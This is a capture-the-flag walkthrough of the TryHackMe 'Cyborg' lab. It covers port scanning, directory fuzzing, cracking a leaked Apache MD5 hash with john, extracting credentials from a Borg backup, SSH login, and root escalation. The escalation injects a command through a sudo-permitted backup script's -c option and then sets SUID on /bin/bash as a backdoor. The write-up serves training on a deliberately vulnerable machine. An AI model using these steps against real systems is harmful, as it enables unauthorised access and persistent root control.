

Cyborg

By Praveen Kumar Sharma



For me IP of the machine is : 10.10.172.71

Lets try pinging it real quick

```
ping 10.10.172.71 -c 5

PING 10.10.172.71 (10.10.172.71) 56(84) bytes of data.
64 bytes from 10.10.172.71: icmp_seq=1 ttl=60 time=234 ms
64 bytes from 10.10.172.71: icmp_seq=2 ttl=60 time=192 ms
64 bytes from 10.10.172.71: icmp_seq=3 ttl=60 time=314 ms
64 bytes from 10.10.172.71: icmp_seq=4 ttl=60 time=165 ms
64 bytes from 10.10.172.71: icmp_seq=5 ttl=60 time=179 ms

--- 10.10.172.71 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4006ms
rtt min/avg/max/mdev = 164.890/216.589/314.046/53.867 ms
```

Alright lets do some port scanning

Port Scanning :

All Port Scan :

```
rustscan -a 10.10.172.71 --ulimit 5000
```

```
rustscan -a 10.10.172.71 --ulimit 5000
-----[O){}{(/{_({_H({_/_} /{_}) /{_}\|{_})-----]
-----[.(_\{)_.{_) }{ ){_} \{_} }{_} /{_}\|{_})-----]

The Modern Day Port Scanner.

-----
: http://discord.skerritt.blog      :
: https://github.com/RustScan/RustScan :

-----
RustScan: Where scanning meets swagging. 🎁

[~] The config file is expected to be at "/home/pks/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.172.71:22
Open 10.10.172.71:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-17 20:34 IST
Initiating Ping Scan at 20:34
Scanning 10.10.172.71 [2 ports]
Completed Ping Scan at 20:34, 0.29s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:34
Completed Parallel DNS resolution of 1 host. at 20:34, 2.57s elapsed
DNS resolution of 1 IPs took 2.57s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0]
Initiating Connect Scan at 20:34
Scanning 10.10.172.71 [2 ports]
Discovered open port 80/tcp on 10.10.172.71
Discovered open port 22/tcp on 10.10.172.71
Completed Connect Scan at 20:34, 0.19s elapsed (2 total ports)
Nmap scan report for 10.10.172.71
Host is up, received syn-ack (0.26s latency).
Scanned at 2024-09-17 20:34:48 IST for 0s

PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack
80/tcp    open  http     syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.07 seconds
```

🔗 Open ports

PORT STATE SERVICE REASON

```
22/tcp open ssh syn-ack  
80/tcp open http syn-ack
```

Alright lets do a aggressive scan on these

Aggressive Scan :

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.172.71 -o aggressiveScan.txt
```

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80 10.10.172.71 -o aggressiveScan.txt
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-17 20:37 IST  
Nmap scan report for 10.10.172.71  
Host is up (0.15s latency).
```

```
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
|_ 2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)  
|_ 256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)  
|_ 256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)  
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))  
|_http-server-header: Apache/2.4.18 (Ubuntu)  
|_http-title: Apache2 Ubuntu Default Page: It works  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.  
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds
```

✍ Aggressive scan

PORT STATE SERVICE VERSION

```
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux;  
protocol 2.0)
```

```
| ssh-hostkey:
```

```
| 2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)  
| 256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)  
|_ 256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)
```

```
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
```

```
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

```
|_http-title: Apache2 Ubuntu Default Page: It works
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Alright lets do some directory fuzzing next

Directory Fuzzing :

Lets do the fuzzing with the default wordlist of feroxbuster first

First Scan :

```
feroxbuster --url http://10.10.172.71 -t 200
```

```
feroxbuster --url http://10.10.172.71 -t 200

[----] [----] [----] [----] [----] [----]
[----] [----] [----] [----] [----] [----]
by Ben "epi" Risher [!] ver: 2.10.4

[?] Target Url           http://10.10.172.71
[?] Threads              200
[?] Wordlist             /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[?] Status Codes          All Status Codes!
[?] Timeout (secs)        7
[?] User-Agent            feroxbuster/2.10.4
[?] Config File           /home/pks/.config/feroxbuster/ferox-config.toml
[?] Extract Links         true
[?] HTTP methods          [GET]
[?] Recursion Depth       4
[?] New Version Available https://github.com/epi052/feroxbuster/releases/latest

[!] Press [ENTER] to use the Scan Management Menu™

403   GET    9l    28w    277c Auto-filtering found 404-like response and created new filter; to
404   GET    9l    31w    274c Auto-filtering found 404-like response and created new filter; to
301   GET    9l    28w    312c http://10.10.172.71/admin => http://10.10.172.71/admin/
200   GET    15l   74w    6143c http://10.10.172.71/icons/ubuntu-logo.png
200   GET    375l  968w   11321c http://10.10.172.71/
301   GET    9l    28w    310c http://10.10.172.71/etc => http://10.10.172.71/etc/
200   GET    6l    27w    258c http://10.10.172.71/etc/squid/squid.conf
200   GET    1l    1w     52c http://10.10.172.71/etc/squid/passwd
[#####] - 37s    60012/60012  0s      found:6      errors:904
[#####] - 36s    30000/30000  828/s   http://10.10.172.71/
[#####] - 35s    30000/30000  859/s   http://10.10.172.71/admin/
[#####] - 0s     30000/30000  96154/s http://10.10.172.71/etc/ => Directory listing
[#####] - 3s     30000/30000  10909/s http://10.10.172.71/etc/squid/ => Directory listing
```

🔗 Directories from scan 1

```
301 GET 9l 28w 312c http://10.10.172.71/admin ↳ =>
http://10.10.172.71/admin/ ↳
200 GET 15l 74w 6143c http://10.10.172.71/icons/ubuntu-logo.png ↳
200 GET 375l 968w 11321c http://10.10.172.71/ ↳
```

```
301 GET 9l 28w 310c http://10.10.172.71/etc ↳ ⇒  
http://10.10.172.71/etc/ ↳  
200 GET 6l 27w 258c http://10.10.172.71/etc/squid/squid.conf ↳  
200 GET 1l 1w 52c http://10.10.172.71/etc/squid/passwd ↳
```

Lets try the dirb/common.txt too just in case

Second Scan :

```
feroxbuster --url http://10.10.172.71 -t 200 -w  
/usr/share/wordlists/dirb/common.txt
```

```
feroxbuster --url http://10.10.172.71 -t 200 -w /usr/share/wordlists/dirb/common.txt

[----] FEROXBUSTER [----] v2.10.4 [----]
by Ben "epi" Risher [----] ver: 2.10.4

[?] Target Url          http://10.10.172.71
[?] Threads              200
[?] Wordlist             /usr/share/wordlists/dirb/common.txt
[?] Status Codes         All Status Codes!
[?] Timeout (secs)       7
[?] User-Agent            feroxbuster/2.10.4
[?] Config File          /home/pks/.config/feroxbuster/ferox-config.toml
[?] Extract Links        true
[?] HTTP methods          [GET]
[?] Recursion Depth      4
[?] New Version Available https://github.com/epi052/feroxbuster/releases/latest

[!] Press [ENTER] to use the Scan Management Menu™

403   GET    9l    28w    277c Auto-filtering found 404-like response and created new filter; t
404   GET    9l    31w    274c Auto-filtering found 404-like response and created new filter; t
301   GET    9l    28w    312c http://10.10.172.71/admin => http://10.10.172.71/admin/
200   GET   15l    74w    6143c http://10.10.172.71/icons/ubuntu-logo.png
200   GET   375l   968w   11321c http://10.10.172.71/
301   GET    9l    28w    310c http://10.10.172.71/etc => http://10.10.172.71/etc/
200   GET   375l   968w   11321c http://10.10.172.71/index.html
200   GET   69l    92w    771c http://10.10.172.71/admin/styles.css
200   GET   93l   322w    4926c http://10.10.172.71/admin/admin.html
200   GET   87l   742w   65832c http://10.10.172.71/admin/piano.jpg
200   GET  139l   325w   5771c http://10.10.172.71/admin/index.html
200   GET    1l     1w    52c http://10.10.172.71/etc/squid/passwd
200   GET    6l    27w    258c http://10.10.172.71/etc/squid/squid.conf
[#####] - 26s    9246/9246    0s    found:11    errors:2046
[#####] - 26s    4614/4614    179/s   http://10.10.172.71/
[#####] - 24s    4614/4614    189/s   http://10.10.172.71/admin/
[#####] - 4s     4614/4614    1224/s  http://10.10.172.71/etc/ => Directory listing
[#####] - 5s     4614/4614    863/s   http://10.10.172.71/etc/squid/ => Directory listing
```

✍ Directories from scan 2

```
301 GET 9l 28w 312c http://10.10.172.71/admin ↳ ⇒  
http://10.10.172.71/admin/ ↳  
200 GET 15l 74w 6143c http://10.10.172.71/icons/ubuntu-logo.png ↳  
200 GET 375l 968w 11321c http://10.10.172.71/ ↳  
301 GET 9l 28w 310c http://10.10.172.71/etc ↳ ⇒  
http://10.10.172.71/etc/ ↳  
200 GET 375l 968w 11321c http://10.10.172.71/index.html ↳  
200 GET 69l 92w 771c http://10.10.172.71/admin/styles.css ↳  
200 GET 93l 322w 4926c http://10.10.172.71/admin/admin.html ↳  
200 GET 87l 742w 65832c http://10.10.172.71/admin/piano.jpg ↳  
200 GET 139l 325w 5771c http://10.10.172.71/admin/index.html ↳  
200 GET 1l 1w 52c http://10.10.172.71/etc/squid/passwd ↳  
200 GET 6l 27w 258c http://10.10.172.71/etc/squid/squid.conf ↳
```

Few more found lets get to this web application now

Web Application :

Default page :

⚠ Not Secure http://10.10.172.71

ubuntu

Apache2 Ubuntu Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should replace this file (located at /var/www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is fully documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the manual if the apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

```
/etc/apache2/  
|-- apache2.conf  
|   '-- ports.conf
```

Nothing in the source code as well lets see this /admin page now

Admin Home Albums Admins Archive ▾

My music acheivements to remind me I'm cool

Setup
My name is Alex and im a music producer from The United Kingdom!
This is my office!!!
my-studio

Childhood
For my entire childhood i knew i wanted to be a music artist.
I started playing the Piano at age 5.



Alright lets see the admins page it links to /admin/admin.html here

⚠ Not Secure http://10.10.172.71/admin/admin.html

Home Albums Admins Archive ▾

Admin Shoutbox

```
#####
#[[ Yesterday at 4.32pm from Josh]
Are we all going to watch the football game at the weekend??
#####
#[[ Yesterday at 4.33pm from Adam]
Yeah Yeah mate absolutely hope they win!
#####
#[[ Yesterday at 4.35pm from Josh]
See you there then mate!
#####
#[[ Today at 5.45am from Alex]
Ok sorry guys i think i messed something up, uhh i was playing around with the squid proxy i mentioned earlier.
I decided to give up like i always do ahahaha sorry about that.
I heard these proxy things are supposed to make your website secure but i barely know how to use it so im probably making it more insecure in the process.
Might pass it over to the IT guys but in the meantime all the config files are laying about.
And since i dont know how it works im not sure how to delete them hope they don't contain any confidential information lol.
other than that im pretty sure my backup "music_archive" is safe just to confirm.
#####
#####
```

So they indicate that there is a proxy called squid we saw that in the directory as well also music_archive in backup but i dont know how that help us currently

Moving on lets see this /etc/ page now

◀ ▶ ⌂

⚠ Not Secure http://10.10.172.71/etc/

Index of /etc

Name	Last modified	Size	Description
 Parent Directory		-	
 squid/	2020-12-30 02:09	-	

Apache/2.4.18 (Ubuntu) Server at 10.10.172.71 Port 80

Lets see this squid dir here

Name	Last modified	Size	Description
Parent Directory		-	
passwd	2020-12-30 02:09	52	
squid.conf	2020-12-30 02:09	258	

Apache/2.4.18 (Ubuntu) Server at 10.10.172.71 Port 80

Lets see this passwd here squid.conf is useless here

```
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
```

Gaining Access :

Lets identify this hash quickly

⚠ Pay professionals to decrypt your remaining lists
<https://hashes.com/en/escrow/view>

✓ Possible identifications: [Decrypt Hashes](#)

\$apr1\$BpZ.Q.1m\$F0qqPwHSOG50URuOVQTTn. - Possible algorithms: Apache \$apr1\$, MD5, md5apr1, MD5 (APR)

MD5 here lets crack this using john i guess

```
~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±2 (1.063s)
vim hash

~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±2 (1.51s)
john --format=md5crypt hash --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
squidward      (?)
1g 0:00:00:00 DONE (2024-09-17 20:54) 9.090g/s 356072p/s 356072c/s 356072C/s jennifer123..liliac
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

📎 Creds for something

Name/Service : music_archive
Password : squidward

Got a password here lets try to SSH in with music_archive user i guess (feels odd tho)

```
ssh music_archive@10.10.172.71
The authenticity of host '10.10.172.71 (10.10.172.71)' can't be established.
ED25519 key fingerprint is SHA256:hJwt8CvQHRU+h3WUZda+Xuvsp1/od2FFuBvZJJvdSHs.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:75: 10.10.99.83
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.172.71' (ED25519) to the list of known hosts.
music_archive@10.10.172.71's password:

Permission denied, please try again.
music_archive@10.10.172.71's password:

Permission denied, please try again.
music_archive@10.10.172.71's password:
music_archive@10.10.172.71: Permission denied (publickey,password).
```

So not for SSH i guess lets enumerate furthur on the website i noticed another page on the /admin site

The screenshot shows a web browser window with the following details:

- Address Bar:** Shows the URL `http://10.10.172.71/admin/` with a warning icon indicating "Not Secure".
- Navigation Bar:** Includes back, forward, and search icons.
- Page Header:** A navigation menu with items: Admin, Home, Albums, Admins, Archive ▾.
- Album Preview:** A preview of the album "My music ache" by "Setup". It includes a play button, a "Listen" button, a "Download" button, and a "Delete" button.
- Album Details:** The album title "My music ache" and artist "Setup". Below this, a bio states: "My name is Alex and im a music producer from The United Kingdom! This is my office!!!".
- Image:** A large thumbnail image of a person in a studio setting, identified as "my-studio".
- Footer:** A link at the bottom left of the page: `http://10.10.172.71/admin/archive.tar`.

So this links to archive.tar we saw this page in second directory fuzzing as well lets download it real quick and extract it

```
~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±1 (6.353s)
curl http://10.10.172.71/admin/archive.tar --output archive.tar

% Total    % Received % Xferd  Average Speed   Time      Time      Time  Current
                                         Dload  Upload   Total   Spent   Left  Speed
100 1530k  100 1530k    0     0    241k      0  0:00:06  0:00:06  ---:--  301k
```

```
~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±4 (0.025s)
tar -xvf archive.tar

home/field/dev/final_archive/
home/field/dev/final_archive/hints.5
home/field/dev/final_archive/integrity.5
home/field/dev/final_archive/config
home/field/dev/final_archive/README
home/field/dev/final_archive/nonce
home/field/dev/final_archive/index.5
home/field/dev/final_archive/data/
home/field/dev/final_archive/data/0/
home/field/dev/final_archive/data/0/5
home/field/dev/final_archive/data/0/3
home/field/dev/final_archive/data/0/4
home/field/dev/final_archive/data/0/1
```

Lets read this README here

```
~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±4 (0.025s)
cat home/field/dev/final_archive/README

This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/
```

So this borg backup here lets see this URL here

[borgbackup.readthedocs.io/en/stable/](#)

Borg

Borg 1.4.0

Search...

Installation
Quick Start
Usage
Deployment
Frequently asked questions
Support
Important notes
Upgrade Notes
Change Log
Internals
Development
Authors
License

Docs / Borg Documentation

Borg Documentation

```
$ # So let's add a new file...
$ echo "added new nice file" > Wallpaper/newfile.txt
$ borg create --stats --progress --compression lz4 /media/backup/borgdemo::bac
kup2 Wallpaper
Enter passphrase for key /media/backup/borgdemo:
-----
Archive name: backup2
Archive fingerprint: 5aaf03d1c710cf774f9c9ff1c6317b621c14e519c6bac459f6d64b31e
3bbd200
Time (start): Fri, 2017-07-14 21:54:56
Time (end): Fri, 2017-07-14 21:54:56
Duration: 0.33 seconds
Number of files: 1051
Utilization of maximum supported archive size: 0%
```

	Original size	Compressed size	Deduplicated size
This archive:	618.96 MB	617.47 MB	106.70 KB
All archives:	1.24 GB	1.23 GB	561.77 MB

	Unique chunks	Total chunks
Chunk index:	1002	2187

```
$ # Wow, this was a lot faster!
$ # Notice the "Deduplicated size" in "This archive"?
$ # Borg recognized that most files did not change and deduplicated them.
```

More screencasts: installation, advanced usage

What is BorgBackup?

So lets find its github for an executable

So i found its github and the executable for linux atleast is seperated by the version of glibc

▼ Assets 25

↳ 00 README.txt	2.63 KB	Jul 3
↳ borg-freebsd14	20.5 MB	Jul 3
↳ borg-freebsd14.asc	862 Bytes	Jul 3
↳ borg-freebsd14.tgz	20.5 MB	Jul 3
↳ borg-freebsd14.tgz.asc	862 Bytes	Jul 3
↳ borg-linux-glibc228	26 MB	Jul 3
↳ borg-linux-glibc228.asc	862 Bytes	Jul 3
↳ borg-linux-glibc228.tgz	26.1 MB	Jul 3
↳ borg-linux-glibc228.tgz.asc	862 Bytes	Jul 3
↳ borg-linux-glibc231	26.3 MB	Jul 3
↳ borg-linux-glibc231.asc	862 Bytes	Jul 3
↳ borg-linux-glibc231.tgz	26.4 MB	Jul 3
↳ borg-linux-glibc231.tgz.asc	862 Bytes	Jul 3
↳ borg-linux-glibc236	26.6 MB	Jul 3
↳ borg-linux-glibc236.asc	862 Bytes	Jul 3
↳ borg-linux-glibc236.tgz	26.6 MB	Jul 3
↳ borg-linux-glibc236.tgz.asc	862 Bytes	Jul 3
↳ borg-macos1012	11.4 MB	Jul 3
↳ borg-macos1012.asc	862 Bytes	Jul 3
↳ borg-macos1012.tgz	11.3 MB	Jul 3
↳ borg-macos1012.tgz.asc	862 Bytes	Jul 3
↳ borgbackup-1.4.0.tar.gz	3.62 MB	Jul 3
↳ borgbackup-1.4.0.tar.gz.asc	862 Bytes	Jul 3
↳ Source code (zip)		Jul 3
↳ Source code (tar.gz)		Jul 3

So i have the 2.40 version of glibc u can check with

```
ldd --version
```

```
ldd --version
ldd (GNU libc) 2.40
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
```

So I had two path to get this work for me either build it from source or like get it from AUR or `pacman` as im on Arch BTW

So build from source will be a lot of i just installed it with `pacman` u can do the same from this list here

Distribution	Source	Command
Alpine Linux	Alpine repository	apk add borgbackup
Arch Linux	[extra]	pacman -S borg
Debian	Debian packages	apt install borgbackup
Gentoo	ebuild	emerge borgbackup
GNU Guix	GNU Guix	guix package --install borg
Fedora/ RHEL	Fedora official repository	dnf install borgbackup
FreeBSD	FreeBSD ports	cd /usr/ports/archivers/py-borgbackup && make install clean
macOS	Homebrew	brew install borgbackup (official formula, no FUSE support) or brew install --cask macfuse (private Tap, FUSE support) brew install borgbackup/tap/borgbackup-fuse
Mageia	cauldron	urpmi borgbackup
NetBSD	pkgsrc	pkg_add py-borgbackup
NixOS	.nix file	nix-env -i borgbackup
OpenBSD	OpenBSD ports	pkg_add borgbackup
OpenIndiana	OpenIndiana hipster repository	pkg install borg
openSUSE	openSUSE official repository	zypper in borgbackup
Raspbian	Raspbian testing	apt install borgbackup
Ubuntu	Ubuntu packages, Ubuntu PPA	apt install borgbackup

So i read the documentation for a bit for how to use this i think i got it run this

```
borg list home/field/dev/final_archive/
Enter passphrase for key /home/pks/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg/home/field/dev/final_archive:
Warning: The repository at location /home/pks/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg/home/field/dev/final_archive was p
Do you want to continue? [yN] y
music_archive
```

Lets extract this now

```
~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±3 (3.388s)
borg extract home/field/dev/final_archive::music_archive
Enter passphrase for key /home/pks/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg/home/field/dev/final_archive:

~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±4 (0.021s)
tree home

home
└── alex
    ├── Desktop
    │   └── secret.txt
    ├── Documents
    │   └── note.txt
    ├── Downloads
    ├── Music
    ├── Pictures
    ├── Public
    ├── Templates
    └── Videos
    └── field
        └── dev
            └── final_archive
                ├── config
                ├── data
                │   ├── 0
                │   ├── 1
                │   ├── 3
                │   ├── 4
                │   └── 5
                ├── hints.5
                ├── index.5
                ├── integrity.5
                ├── nonce
                └── README
15 directories, 12 files
```

So we got this new alex folder and we have two txt file here lets read em

```
cat home/alex/Desktop/secret.txt
shoutout to all the people who have gotten to this stage whoop whoop!"

~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±3 (0.024s)
cat home/alex/Documents/note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:S3cretP@s3
```

We got creds here

📎 User creds

Username : alex
Password : S3cretP@s3

Lets SSH in now

```
~/Documents/Notes/Hands-on-Hacking/TryHackMe/Cyborg git:(main)±3 (8.43s)
ssh alex@10.10.172.71
alex@10.10.172.71's password:

alex@ubuntu:~ (0.036s)
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-128-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

27 packages can be updated.
0 updates are security updates.

alex@ubuntu ~ (0.181s)
id
uid=1000(alex) gid=1000(alex) groups=1000(aLex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

alex@ubuntu ~
```

here is your user.txt

```
alex@ubuntu ~ (0.346s)
```

```
ls -al
```

```
total 108
drwx----- 17 alex alex 4096 Dec 31 2020 .
drwxr-xr-x  3 root root 4096 Dec 30 2020 ..
-rw-------  1 alex alex 1149 Sep 17 08:40 .bash_history
-rw-r--r--  1 alex alex 220 Dec 30 2020 .bash_logout
-rw-r--r--  1 alex alex 3771 Dec 30 2020 .bashrc
drwx----- 13 alex alex 4096 Sep 17 08:40 .cache
drwx-----  3 alex alex 4096 Dec 30 2020 .compiz
drwx----- 15 alex alex 4096 Dec 30 2020 .config
drwxr-xr-x  2 alex alex 4096 Dec 30 2020 Desktop
-rw-r--r--  1 alex alex   25 Dec 30 2020 .dmrc
drwxr-xr-x  2 alex alex 4096 Dec 30 2020 Documents
drwxr-xr-x  2 alex alex 4096 Dec 31 2020 Downloads
drwx-----  2 alex alex 4096 Dec 30 2020 .gconf
drwx-----  3 alex alex 4096 Dec 31 2020 .gnupg
-rw-------  1 alex alex 1590 Dec 31 2020 .ICEauthority
drwx-----  3 alex alex 4096 Dec 30 2020 .local
drwx-----  5 alex alex 4096 Dec 30 2020 .mozilla
drwxr-xr-x  2 alex alex 4096 Dec 30 2020 Music
drwxr-xr-x  2 alex alex 4096 Dec 30 2020 Pictures
-rw-r--r--  1 alex alex   655 Dec 30 2020 .profile
drwxr-xr-x  2 alex alex 4096 Dec 30 2020 Public
-rw-r--r--  1 alex alex     0 Dec 30 2020 .sudo_as_admin_successful
drwxr-xr-x  2 alex alex 4096 Dec 30 2020 Templates
-rw-r--r--  1 alex alex    40 Dec 30 2020 user.txt
drwxr-xr-x  2 alex alex 4096 Dec 30 2020 Videos
-rw-------  1 alex alex    51 Dec 31 2020 .Xauthority
-rw-------  1 alex alex    82 Dec 31 2020 .xsession-errors
-rw-------  1 alex alex    82 Dec 31 2020 .xsession-errors.old
```

Vertical PrivEsc

Lets check the sudo permission here

```

alex@ubuntu:~ (0.378s)
sudo -l

Matching Defaults entries for alex on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\

User alex may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh

```

Lets see this file permissions here

```

alex@ubuntu ~ (0.264s)
ls -al /etc/mp3backups/backup.sh
-rwxr-xr-- 1 alex alex 1083 Dec 30 2020 /etc/mp3backups/backup.sh

```

So we cant really edit this lets see what's in this

```

alex@ubuntu ~ (0.298s)
cat /etc/mp3backups/backup.sh
#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt


while IFS= read -r line
do
    wo="/etc/mp3backups/backed_up_files.txt"
    #do
    #echo "$line"
    #done < "$input"
    echo "$line"
    done < "$input"

while getopts c: flag
do
    case "$flag" in
        c) command=$OPTARG;;
    esac
done



```

or if u cant read it

```

#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt

```

```


#while IFS= read -r line
#do
#    a="/etc/mp3backups/backed_up_files.txt"

```



```
while getopts c: flag
do
    case "${flag}" in
        c) command=${OPTARG};;
    esac
done
```

Lets run bash with -c here

```
alex@ubuntu ~
sudo -r root /etc/mp3backups/backup.sh -c bash
/home/alex/Music/image12.mp3
/home/alex/Music/image7.mp3
/home/alex/Music/image1.mp3
/home/alex/Music/image10.mp3
/home/alex/Music/image5.mp3
/home/alex/Music/image4.mp3
/home/alex/Music/image3.mp3
/home/alex/Music/image6.mp3
/home/alex/Music/image8.mp3
/home/alex/Music/image9.mp3
/home/alex/Music/image11.mp3
/home/alex/Music/image2.mp3
find: '/run/user/108/gvfs': Permission denied
Backing up /home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/son
ex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/
tar: Removing leading '//' from member names
tar: /home/alex/Music/song1.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song2.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song3.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song4.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song5.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song6.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song7.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song8.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song9.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song10.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song11.mp3: Cannot stat: No such file or directory
tar: /home/alex/Music/song12.mp3: Cannot stat: No such file or directory
tar: Exiting with failure status due to previous errors

Backup finished
root@ubuntu:~# id
root@ubuntu:~#
```

We cant really see the output but we can add suid binary to /bin/bash to get us root where we can do something

```
Backup finished
root@ubuntu:~# id
root@ubuntu:~# chmod 4777 /bin/bash
root@ubuntu:~# exity
exity: command not found
root@ubuntu:~# exit
exit
uid=0(root) gid=0(root) groups=0(root)
```

```
alex@ubuntu ~
```

Now we can get root when running /bin/bash with -ip flag where i → interactive and p → privileged

```
alex@ubuntu ~
/bin/bash -ip
bash-4.3# id
uid=1000(alex) gid=1000(alex) euid=0(root) groups=1000(a
bash-4.3#
```

And we get root here is your root.txt

```
bash-4.3# ls -al /root
total 36
drwx----- 4 root root 4096 Dec 30 2020 .
drwxr-xr-x 24 root root 4096 Dec 30 2020 ..
-rw------- 1 root root 2875 Dec 31 2020 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx----- 2 root root 4096 Aug  6 2020 .cache
drwxr-xr-x 2 root root 4096 Dec 30 2020 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rwxr--r-- 1 root root   43 Dec 30 2020 root.txt
-rw-r--r-- 1 root root   66 Dec 30 2020 .selected_editor
bash-4.3#
```

Thanks for reading :)